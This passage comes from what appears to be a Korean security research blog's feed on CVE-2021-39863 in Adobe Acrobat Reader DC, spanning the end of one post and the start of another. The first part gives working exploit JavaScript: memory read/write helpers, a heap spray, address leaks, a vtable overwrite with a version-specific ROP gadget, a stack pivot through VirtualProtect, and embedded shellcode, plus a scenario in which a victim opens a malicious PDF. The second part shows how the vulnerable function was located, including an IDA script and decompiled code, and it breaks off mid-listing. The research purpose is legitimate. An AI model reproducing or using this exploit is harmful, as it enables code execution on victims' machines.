     <span class="nx">offsetAddr</span> <span class="o">=</span> <span class="nx">offsetAddr</span> <span class="o">+</span> <span class="mh">0xFFFFFFFF</span> <span class="o">+</span> <span class="mi">1</span>
   <span class="p">}</span>
   <span class="k">return</span> <span class="nx">dataView</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="nx">offsetAddr</span><span class="p">,</span> <span class="nx">value</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
 <span class="p">}</span>
</code></pre></div>            </div>

            <ul>
              <li>위 두 함수는 각각 임의의 VA(readAddr, writeAddr)가 가리키는 값을 제어하는 데 도움을 주는 Helper Function이다.</li>
            </ul>

            <hr />

            <p><strong>Helper Function의 동작 과정은 다음과 같다.</strong></p>

            <ol>
              <li>특정 메모리의 VA를 전달 받으면 r/w primitive VA와의 offset을 계산한다.</li>
              <li>
                <p>r/w primitive의 DataView object로 1.에서 구한 offset 위치의 값을 제어한다.</p>

                <blockquote>
                  <p>이를 통해 특정 메모리의 VA를 이용해 메모리 값을 제어할 수 있다.</p>
                </blockquote>
              </li>
            </ol>
          </li>
        </ol>
      </li>
    </ol>
  </li>
</ul>

<h2 id="4-preparing-stack-pivoting">4. Preparing Stack Pivoting</h2>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">heapSegmentSize</span> <span class="o">=</span> <span class="mh">0x10000</span><span class="p">;</span>
<span class="nx">heapSpray</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mh">0x8000</span><span class="p">);</span>

<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mh">0x8000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">heapSpray</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="nx">heapSegmentSize</span> <span class="o">-</span> <span class="mh">0x10</span> <span class="o">-</span> <span class="mh">0x8</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>
    <p>임의의 주소로 esp를 옮겨 해당 영역을 프로그램에게 Fake Stack이라 속이는 Stack Pivoting을 수행한다.</p>
  </li>
  <li>
    <p>옮겨진 esp가 있는 Fake Stack은 쓰기 권한이 존재해야 Stack이 자라며 쓰기 권한이 없어서 발생하는 에러를 막을 수 있다.<br />
이를 위해 Heap을 충분히 많이 할당해 옮겨진 esp가 있는 Fake Stack에 높은 확률로 쓰기 및 읽기 권한이 있도록 한다.<br /></p>
  </li>
  <li>
    <p>항상 Fake Stack이 spray된 Heap 영역 (할당된 heap 영역)에 들어가는 것은 아니므로 항상 exploit이 성공하지는 않는다.</p>
  </li>
</ul>

<h2 id="5-address-leak--overwrite--hijacking-execution-flow">5. Address Leak &amp; Overwrite ⇒ Hijacking Execution Flow</h2>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. START Information Leak</span>
<span class="c1">// leak the base address of EScript</span>
<span class="nx">EScriptModAddr</span> <span class="o">=</span> <span class="nx">readUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">readUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">StartAddr</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0xC</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x277548</span><span class="p">;</span>

<span class="c1">// leak VirtualProtect address in kernel32.dll used by EScript</span>
<span class="nx">VirtualProtectAddr</span> <span class="o">=</span> <span class="nx">readUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">EScriptModAddr</span> <span class="o">+</span> <span class="mh">0x1B0060</span><span class="p">);</span>

<span class="c1">// leak address of vtable</span>
<span class="kd">var</span> <span class="nx">dataViewObjPtr</span> <span class="o">=</span> <span class="nx">rw</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xFFFFFFFF</span> <span class="o">+</span> <span class="mh">0x1</span> <span class="o">-</span> <span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">dvShape</span> <span class="o">=</span> <span class="nx">readUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">dataViewObjPtr</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">dvShapeBase</span> <span class="o">=</span> <span class="nx">readUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">dvShape</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">dvShapeBaseClasp</span> <span class="o">=</span> <span class="nx">readUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">dvShapeBase</span><span class="p">);</span>
<span class="c1">// END Information Leak</span>

<span class="c1">// 2. Overwrite address of getProperty in vtable to address of ROP gadget</span>
<span class="kd">var</span> <span class="nx">offset</span> <span class="o">=</span> <span class="mh">0x1050AE</span><span class="p">;</span>
<span class="nx">writeUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">dvShapeBaseClasp</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">,</span> <span class="nx">EScriptModAddr</span> <span class="o">+</span> <span class="nx">offset</span><span class="p">);</span>

<span class="c1">// 3. Set Shellcode</span>
<span class="kd">var</span> <span class="nx">shellcode</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0xec83e589</span><span class="p">,</span> <span class="mh">0x64db3120</span><span class="p">,</span> <span class="mh">0x8b305b8b</span><span class="p">,</span> <span class="mh">0x5b8b0c5b</span><span class="p">,</span> <span class="mh">0x8b1b8b1c</span><span class="p">,</span> <span class="mh">0x08438b1b</span><span class="p">,</span> <span class="mh">0x8bfc4589</span><span class="p">,</span> <span class="mh">0xc3013c58</span><span class="p">,</span> <span class="mh">0x01785b8b</span><span class="p">,</span> <span class="mh">0x207b8bc3</span><span class="p">,</span> <span class="mh">0x7d89c701</span><span class="p">,</span> <span class="mh">0x244b8bf8</span><span class="p">,</span> <span class="mh">0x4d89c101</span><span class="p">,</span> <span class="mh">0x1c538bf4</span><span class="p">,</span> <span class="mh">0x5589c201</span><span class="p">,</span> <span class="mh">0x14538bf0</span><span class="p">,</span> <span class="mh">0xebec5589</span><span class="p">,</span> <span class="mh">0x8bc03132</span><span class="p">,</span> <span class="mh">0x7d8bec55</span><span class="p">,</span> <span class="mh">0x18758bf8</span><span class="p">,</span> <span class="mh">0x8bfcc931</span><span class="p">,</span> <span class="mh">0x7d03873c</span><span class="p">,</span> <span class="mh">0xc18366fc</span><span class="p">,</span> <span class="mh">0x74a6f308</span><span class="p">,</span> <span class="mh">0xd0394005</span><span class="p">,</span> <span class="mh">0x4d8be472</span><span class="p">,</span> <span class="mh">0xf0558bf4</span><span class="p">,</span> <span class="mh">0x41048b66</span><span class="p">,</span> <span class="mh">0x0382048b</span><span class="p">,</span> <span class="mh">0xbac3fc45</span><span class="p">,</span> <span class="mh">0x63657878</span><span class="p">,</span> <span class="mh">0x5208eac1</span><span class="p">,</span> <span class="mh">0x6e695768</span><span class="p">,</span> <span class="mh">0x18658945</span><span class="p">,</span> <span class="mh">0xffffb8e8</span><span class="p">,</span> <span class="mh">0x51c931ff</span><span class="p">,</span> <span class="mh">0x78652e68</span><span class="p">,</span> <span class="mh">0x61636865</span><span class="p">,</span> <span class="mh">0xe389636c</span><span class="p">,</span> <span class="mh">0xff535141</span><span class="p">,</span> <span class="mh">0xb9c931d0</span><span class="p">,</span> <span class="mh">0x73736501</span><span class="p">,</span> <span class="mh">0x5108e9c1</span><span class="p">,</span> <span class="mh">0x6f725068</span><span class="p">,</span> <span class="mh">0x78456863</span><span class="p">,</span> <span class="mh">0x65897469</span><span class="p">,</span> <span class="mh">0xff87e818</span><span class="p">,</span> <span class="mh">0xd231ffff</span><span class="p">,</span> <span class="mh">0x00d0ff52</span><span class="p">];</span>
<span class="kd">var</span> <span class="nx">shellcodesize</span> <span class="o">=</span> <span class="nx">shellcode</span><span class="p">.</span><span class="nx">length</span> <span class="o">*</span> <span class="mi">4</span><span class="p">;</span>
<span class="c1">// Write Shell Code</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">shellcode</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
	<span class="nx">writeUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">StartAddr</span> <span class="o">+</span> <span class="mh">0x18</span> <span class="o">+</span> <span class="nx">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">,</span> <span class="nx">shellcode</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span>
<span class="p">}</span>

<span class="c1">// 4. Setup new Stack</span>
<span class="kd">var</span> <span class="nx">newStackAddr</span> <span class="o">=</span> <span class="mh">0x5D000001</span><span class="p">;</span>

<span class="nx">writeUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">newStackAddr</span><span class="p">,</span> <span class="nx">VirtualProtectAddr</span><span class="p">);</span>      <span class="c1">// RIP 1</span>
<span class="nx">writeUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">newStackAddr</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">,</span> <span class="nx">StartAddr</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">);</span>  <span class="c1">// RIP 2</span>
<span class="nx">writeUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">newStackAddr</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">,</span> <span class="nx">StartAddr</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">);</span>  <span class="c1">//  Arg1 : 메모리 시작 주소</span>
<span class="nx">writeUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">newStackAddr</span> <span class="o">+</span> <span class="mh">0xC</span><span class="p">,</span> <span class="nx">shellcodesize</span><span class="p">);</span>     <span class="c1">//  Arg2 : 메모리 크기</span>
<span class="nx">writeUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">newStackAddr</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">);</span>             <span class="c1">//  Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한</span>
<span class="nx">writeUint32</span><span class="p">(</span><span class="nx">rw</span><span class="p">,</span> <span class="nx">newStackAddr</span> <span class="o">+</span> <span class="mh">0x14</span><span class="p">,</span> <span class="nx">StartAddr</span> <span class="o">+</span> <span class="mh">0x14</span><span class="p">);</span> <span class="c1">//  Arg4 : 이전 보호 상수 저장할 포인터</span>

<span class="c1">// 5. try to access unknown property</span>
<span class="c1">// =&gt; call overwritten getProperty(ROP Gadget) in vtable</span>
<span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="nx">rw</span><span class="p">.</span><span class="nx">execFlowHijack</span><span class="p">;</span>
</code></pre></div></div>

<ul>
  <li>중요 변수 혹은 값은 다음의 위치에 저장된다.
    <ol>
      <li>
        <p>ROP Gadget은 EScript.api 파일의 특정 부분으로 EScript.api의 base로부터 offset이 고정되어 있다. 21.005.20048.43252 버전의 Adobe Acrobat Reader DC에서 ROP Gadget의 offset은 <code class="language-plaintext highlighter-rouge">0x1050AE</code>이다.</p>

        <p><code class="language-plaintext highlighter-rouge">0x1050AE: mov esp, 0x5d000001; ret;</code></p>
      </li>
      <li>
        <p>새로운 stack은 1. ROP Gadget으로 esp가 옮겨진 곳 : <code class="language-plaintext highlighter-rouge">0x5d000001</code>으로 해당 영역이 spray된 Heap 영역 내부에 위치해야 exploit이 진행된다.</p>
      </li>
      <li>
        <p>우리의 Exploit Code에서 shellcode는 <code class="language-plaintext highlighter-rouge">r/w primitive의 위치 + 0x18</code>에 위치시켰다.</p>
      </li>
    </ol>
  </li>
</ul>

<hr />

<ul>
  <li>주소를 유출하고, 특정 메모리 값을 변조해 Exploit을 진행하는 과정은 다음과 같다.
    <ol>
      <li>Exploit을 위한 Information Leak을 진행한다.
        <ol>
          <li>EScript의 base 주소를 획득한다.
            <ol>
              <li><a href="https://whs-segfault.github.io/adobe/2024/08/22/JS-Object-SpiderMonkey.html">JS Object - SpiderMonkey</a>와 같이 JSObject (DataView, …)의 메모리 구조를 이용해  EScript 내부 어딘가의 주소를 획득한다.</li>
              <li>1.에서 구한 주소에서 IDA로 확인한 offset (0x277548)을 빼 EScript의 base 주소를 얻는다. <br /><br /></li>
            </ol>
          </li>
          <li>
            <p>IDA로 EScript와 EScript가 사용하는 kernel32.dll의 VirtualProtect 함수의 offset (= 0x1B0060)을 찾는다.</p>

            <p><img src="https://github.com/user-attachments/assets/1ed7932a-9893-4a6e-ba85-24af14ab6b04" alt="image" />
 [그림 7] idata segment에 저장된 VirtualProtect 함수 호출</p>

            <ul>
              <li>VirtualProtect 함수는 Shellcode가 저장된 영역에 실행 권한을 부여하여 Shellcode가 정상적으로 실행될 수 있도록 한다.</li>
            </ul>

            <p>+) .idata 영역은 import table을 의미한다.</p>
          </li>
          <li>kernel32.dll의 VirtualProtect 함수의 주소를 계산
            <ol>
              <li>a.에서 구한 EScript의 base 주소와 offset을 이용해 EScript.api가 호출하는 VirtualProtect 함수의 주소를 얻는다.</li>
              <li>i.에서 구한 주소에 접근해 kernel32.dll의 VirtualProtect 함수의 VA를 구한다. <br /><br /></li>
            </ol>
          </li>
          <li>vtable 주소 유출
            <ol>
              <li><a href="https://whs-segfault.github.io/adobe/2024/08/22/JS-Object-SpiderMonkey.html">JS Object - SpiderMonkey</a>와 같이 JSObject (DataView, …)의 메모리 구조를 이용해 EScript에서 사용하는 property map의 주소를 획득한다. <br /><br /></li>
            </ol>
          </li>
        </ol>
      </li>
      <li>property map을 변조 ROP Gadget으로 변조한다.
        <ol>
          <li>
            <p>rw DataView object의 property map에서 getProperty 함수의 주소를 ROP Gadget의 주소로 변조한다.</p>

            <p>⇒ 이후 rw DataView object에서 getProperty 함수를 호출하면 getProperty 함수가 아닌 ROP Gadget를 호출한다.</p>
          </li>
        </ol>
      </li>
      <li>쓰기 권한이 있는 곳에 shell code를 작성한다.
        <ol>
          <li>shell code를 쓰기 권한이 있는 곳에 작성한다. 우리는 <code class="language-plaintext highlighter-rouge">r/w primitive의 위치 + 0x18</code>에 작성했다.
<br /><br /></li>
        </ol>
      </li>
      <li>새로운 stack을 구성한다.
        <ol>
          <li>사용할 ROP Gadget이 esp를 0x5D000001로 옮기므로 해당 주소를 기준으로 새로운 stack이 설정된다.</li>
          <li>
            <p>새로운 Stack은 다음의 동작을 지원한다.</p>

            <p><img src="https://github.com/user-attachments/assets/8317cc81-a0ab-41b7-9f83-35539605ec15" alt="image" />
 [그림 8] 새로운 Stack의 모습 (ROP Gadget 실행 직전)</p>

            <ol>
              <li>
                <p>VirtualProtect 함수를 호출하며 Shellcode 영역에 실행 권한을 부여한다.</p>

                <p><img src="https://github.com/user-attachments/assets/4ffcd284-c4b8-4708-89c0-b6d386bf85e1" alt="image" />
[그림 9] ret 명령이 실행되기 직전 (좌)과 VirtualProtect 함수가 실행되기 직전 (우)의 모습</p>
              </li>
              <li>
                <p>Shellcode를 실행한다.</p>

                <p><img src="https://github.com/user-attachments/assets/c0c71c12-eef1-46c4-bb2f-5e89b782eb30" alt="image" />
 [그림 10] VirtualProtect 함수 Prologue 직후 (좌)와 Shellcode 실행 직전 (우)의 모습</p>

                <ul>
                  <li>jmp eip로 VirtualProtect 함수를 호출하기 때문에 RIP를 추가로 저장하지 않는다.</li>
                  <li>기존에 stack(을 가장한 heap)에 존재하던 <code class="language-plaintext highlighter-rouge">StartAddr+0x18</code>을 RIP로 생각한다.
<br /><br /></li>
                </ul>
              </li>
            </ol>
          </li>
        </ol>
      </li>
      <li>exploit trigger
        <ol>
          <li>DataView의 존재하지 않는 Property (execFlowHijack)를 참조 시도해 getProperty 함수를 호출하며 exploit이 시작된다.</li>
        </ol>
      </li>
    </ol>
  </li>
</ul>

<h2 id="scenario">Scenario</h2>

<ul>
  <li>아래는 피해자가 위의 Exploit Code가 담긴 PDF 파일을 의심 없이 다운 받고</li>
  <li>CFG가 꺼진 상태에서 취약한 버전의 Adobe Acrobat Reader DC로 다운 받은 파일을 열며</li>
  <li>Exploit이 진행되어 계산기가 실행된 영상이다.</li>
</ul>

<p><a href="https://github.com/user-attachments/assets/3e99a449-527d-40c4-93ee-89421006ad2a">exploit.mp4</a></p>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="Adobe" /><category term="CVE-2021-39863" /><category term="1-day Research" /><category term="Exploit" /><summary type="html"><![CDATA[CFG를 끈 상태로 취약한 버전의 Adobe로 Exploit Code가 포함된 PDF를 열면 Exploit이 진행된다. Exolit PDF &amp; Exploit Code]]></summary></entry><entry><title type="html">CVE-2021-39863 Analysis</title><link href="https://whs-segfault.github.io/adobe/2024/08/24/Korean-CVE-2021-39863-Analysis.html" rel="alternate" type="text/html" title="CVE-2021-39863 Analysis" /><published>2024-08-24T00:00:00+00:00</published><updated>2024-08-24T00:00:00+00:00</updated><id>https://whs-segfault.github.io/adobe/2024/08/24/%5BKorean%5D-CVE-2021-39863-Analysis</id><content type="html" xml:base="https://whs-segfault.github.io/adobe/2024/08/24/Korean-CVE-2021-39863-Analysis.html"><![CDATA[<h2 id="cve-2021-39863">CVE-2021-39863</h2>

<aside>
💡 Adobe에서 Encoding이 다른 두 URL을 연결하는 과정에서 Out Of Bound Read / Write와 Heap Buffer OverFlow가 발생하는 취약점

</aside>

<ul>
  <li>영향을 받는 제품 : https://helpx.adobe.com/security/products/acrobat/apsb21-55.html
    <ul>
      <li>Exploit에는 32bit Adobe Acrobat Reader DC 21.005.20048.43252 버전을 사용하였다.</li>
      <li>해당 제품은 아래 링크에서 다운 받을 수 있다.
        <ul>
          <li>https://ardownload2.adobe.com/pub/adobe/reader/win/AcrobatDC/2100520048/AcroRdrDC2100520048_en_US.exe</li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<h2 id="1-취약한-함수-찾기">1. 취약한 함수 찾기</h2>

<ul>
  <li>URL 연결 과정에서 발생하는 취약점이기에 Adobe Acrobat Reader DC의 IA32.api를 IDA로 정적 분석을 진행했다.</li>
  <li>참고한 Exploit 자료에는 취약한 함수 찾는 방법이 누락되어 3가지 방법으로 취약한 함수를 찾았다.</li>
  <li>
    <p>취약한 함수를 찾은 방법</p>

    <p>1) 상호 참조</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> - [Exodus Blog](https://blog.exodusintel.com/2021/10/04/analysis-of-a-heap-buffer-overflow-vulnerability-in-adobe-acrobat-reader-dc-2/?utm_source=feedly&amp;utm_medium=rss&amp;utm_campaign=analysis-of-a-heap-buffer-overflow-vulnerability-in-adobe-acrobat-reader-dc-2)에서 확인한 결과 취약한 함수가 호출한 함수는 URL 연결을 위해 `strncat` 함수를 호출한다.
</code></pre></div>    </div>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">strncat</code> 함수는 외부에서 import해 사용한다.
        <ul>
          <li>외부에서 import한 함수는 해당 함수의 이름을 <code class="language-plaintext highlighter-rouge">.rdata</code> 영역에 저장해 호출할 때 이용한다.</li>
        </ul>
      </li>
      <li>[그림 1]과 [그림 2]처럼 <code class="language-plaintext highlighter-rouge">.rdata</code> 영역에서 <code class="language-plaintext highlighter-rouge">"strncat"</code> 문자열을 찾아 취약한 함수가 나올 때까지 상호참조하였다.</li>
    </ul>

    <p><img src="https://github.com/user-attachments/assets/24dc2543-94dd-4c02-9f39-2c04087ccdf0" alt="image" />
  [그림 1] .rdata 영역에서 <code class="language-plaintext highlighter-rouge">"strncat"</code> 문자열을 확인하고, <code class="language-plaintext highlighter-rouge">strncat</code> 함수의 상호 참조 함수를 확인한 모습</p>

    <p><img src="https://github.com/user-attachments/assets/c8a0dce3-0645-4992-99a2-18a2f5d81968" alt="image" />
  [그림 2] [그림 10]에서 찾은 <code class="language-plaintext highlighter-rouge">strncat</code> 함수의 상호 참조 함수의 상호 참조 함수를 확인한 모습</p>

    <hr />

    <p>2) OpCode 검색</p>

    <ul>
      <li>
        <dl>
          <dt>취약한 함수에서는 UTF16-BE encoding을 탐지하기 위해 UTF16-BE BOM 검사를 진행한다.</dt>
          <dd>대표적으로 1 byte 값과 <code class="language-plaintext highlighter-rouge">"\xFF"</code> 비교하는 연산을 수행한다.</dd>
        </dl>
      </li>
      <li><code class="language-plaintext highlighter-rouge">"\xFF"</code>와 1 byte 레지스터를 비교하는 OP Code를 얻어, 해당 OP Code가 존재하는 함수를 탐색하며 취약한 함수를 찾았다.</li>
    </ul>

    <p><img src="https://github.com/user-attachments/assets/07b7f031-9fc0-44c3-b676-34c53e073f45" alt="image" />
  [그림 3] OpCode 검사로 취약한 함수를 찾은 모습</p>

    <hr />

    <p>4) IDC IDA Script 이용</p>

    <ul>
      <li>
        <p>Exodus 블로그를 훑어본 결과, 취약한 함수는 많은 명령을 보유하고 있는 것을 확인하였다.
이를 토대로 instruction 수로 함수를 탐색하면 취약한 함수를 쉽게 찾을 수 있으리라 판단했다.</p>
      </li>
      <li>
        <p>IDA의 내장 프로그래밍 언어인 IDC로 특정 instruction 수 이상의 함수를 찾는 script를 작성해 취약한 함수를 찾았다.</p>
      </li>
    </ul>

    <pre><code class="language-IDC">  #include &lt;idc.idc&gt;
        
  static main() {
    auto func, end, count, inst;
    func = 0;
    Message("================ START =================\n");
    for(func = NextFunction(func); func != BADADDR; func = NextFunction(func)) {
      if(func != -1) {
        end = GetFunctionAttr(func, FUNCATTR_END);
        count = 0;
        inst = func;
        while(inst &lt; end) {
          count++;
          inst = FindCode(inst, SEARCH_DOWN | SEARCH_NEXT);
        }
        if(count &gt; 400) {
          Message("%s contains %d instructions\n" , Name(func), count);
        }
      } else {
        //Message("No function found at location %x", func);
      }
    }
  }
</code></pre>

    <p><img src="https://github.com/user-attachments/assets/80af6917-91c0-4177-9148-81635f63b8be" alt="image" />
  [그림 4] IDC IDA Script로 취약한 함수를 찾은 모습</p>
  </li>
</ul>

<h2 id="2-취약한-함수-분석">2. 취약한 함수 분석</h2>

<details>
<summary>취약한 함수를 디컴파일한 코드</summary>
<div>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">__int16</span> <span class="kr">__cdecl</span> <span class="nf">ExploitPoint</span><span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="n">Source</span><span class="p">,</span> <span class="n">CHAR</span> <span class="o">*</span><span class="n">lpString</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">String</span><span class="p">,</span> <span class="n">_DWORD</span> <span class="o">*</span><span class="n">a4</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">a5</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kr">__int16</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// di</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">concatURL_addr</span><span class="p">;</span> <span class="c1">// ebx</span>
  <span class="n">CHAR</span> <span class="o">*</span><span class="n">lpString_copy</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="n">CHAR</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// dl</span>
  <span class="n">__int64</span> <span class="n">len_lpString</span><span class="p">;</span> <span class="c1">// rax</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">Source_copy</span><span class="p">;</span> <span class="c1">// ecx</span>
  <span class="n">__int64</span> <span class="n">len_Source</span><span class="p">;</span> <span class="c1">// rax</span>
  <span class="kt">int</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">totallen_Source</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">len_Source_notUTF</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="n">CHAR</span> <span class="o">*</span><span class="n">allocadr_Source</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">v16</span><span class="p">;</span> <span class="c1">// ecx</span>
  <span class="kt">int</span> <span class="n">totallen_lpString</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">len_lpString_notUTF</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="n">CHAR</span> <span class="o">*</span><span class="n">allocadr_lpString</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">v20</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">v21</span><span class="p">;</span> <span class="c1">// edx</span>
  <span class="kt">int</span> <span class="n">v22</span><span class="p">;</span> <span class="c1">// edx</span>
  <span class="n">_DWORD</span> <span class="o">*</span><span class="n">v23</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">v24</span><span class="p">;</span> <span class="c1">// ecx</span>
  <span class="kt">int</span> <span class="o">*</span><span class="n">v25</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">v26</span><span class="p">;</span> <span class="c1">// ecx</span>
  <span class="kt">int</span> <span class="n">v27</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">v28</span><span class="p">;</span> <span class="c1">// ecx</span>
  <span class="kt">int</span> <span class="n">v29</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">v30</span><span class="p">;</span> <span class="c1">// ecx</span>
  <span class="kt">int</span> <span class="n">v31</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">len_allocaddr</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">v33</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="kt">int</span> <span class="n">v34</span><span class="p">;</span> <span class="c1">// ecx</span>
  <span class="kt">int</span> <span class="n">v35</span><span class="p">;</span> <span class="c1">// edx</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">v37</span><span class="p">;</span> <span class="c1">// [esp-4h] [ebp-F4h]</span>
  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v38</span><span class="p">;</span> <span class="c1">// [esp-4h] [ebp-F4h]</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">v39</span><span class="p">;</span> <span class="c1">// [esp-4h] [ebp-F4h]</span>
  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v40</span><span class="p">;</span> <span class="c1">// [esp-4h] [ebp-F4h]</span>
  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v41</span><span class="p">;</span> <span class="c1">// [esp-4h] [ebp-F4h]</span>
  <span class="kt">int</span> <span class="n">v42</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span> <span class="c1">// [esp+Ch] [ebp-E4h] BYREF</span>
  <span class="kt">int</span> <span class="n">v43</span><span class="p">;</span> <span class="c1">// [esp+28h] [ebp-C8h]</span>
  <span class="kt">int</span> <span class="n">v44</span><span class="p">;</span> <span class="c1">// [esp+2Ch] [ebp-C4h]</span>
  <span class="kt">int</span> <span class="n">v45</span><span class="p">;</span> <span class="c1">// [esp+30h] [ebp-C0h]</span>
  <span class="kt">int</span> <span class="n">v46</span><span class="p">;</span> <span class="c1">// [esp+34h] [ebp-BCh]</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">v47</span><span class="p">;</span> <span class="c1">// [esp+38h] [ebp-B8h]</span>
  <span class="n">__int64</span> <span class="n">v48</span><span class="p">;</span> <span class="c1">// [esp+3Ch] [ebp-B4h]</span>
  <span class="kt">int</span> <span class="n">v49</span><span class="p">;</span> <span class="c1">// [esp+4Ch] [ebp-A4h]</span>
  <span class="kt">int</span> <span class="n">v50</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span> <span class="c1">// [esp+50h] [ebp-A0h] BYREF</span>
  <span class="kt">int</span> <span class="n">v51</span><span class="p">;</span> <span class="c1">// [esp+5Ch] [ebp-94h]</span>
  <span class="kt">int</span> <span class="n">v52</span><span class="p">;</span> <span class="c1">// [esp+60h] [ebp-90h]</span>
  <span class="kt">int</span> <span class="n">v53</span><span class="p">;</span> <span class="c1">// [esp+64h] [ebp-8Ch]</span>
  <span class="kt">int</span> <span class="n">v54</span><span class="p">;</span> <span class="c1">// [esp+68h] [ebp-88h]</span>
  <span class="kt">int</span> <span class="n">v55</span><span class="p">;</span> <span class="c1">// [esp+6Ch] [ebp-84h]</span>
  <span class="kt">int</span> <span class="n">v56</span><span class="p">;</span> <span class="c1">// [esp+70h] [ebp-80h]</span>
  <span class="kt">int</span> <span class="n">v57</span><span class="p">;</span> <span class="c1">// [esp+74h] [ebp-7Ch]</span>
  <span class="kt">int</span> <span class="n">v58</span><span class="p">;</span> <span class="c1">// [esp+78h] [ebp-78h]</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">v59</span><span class="p">;</span> <span class="c1">// [esp+7Ch] [ebp-74h]</span>
  <span class="n">__int64</span> <span class="n">v60</span><span class="p">;</span> <span class="c1">// [esp+80h] [ebp-70h]</span>
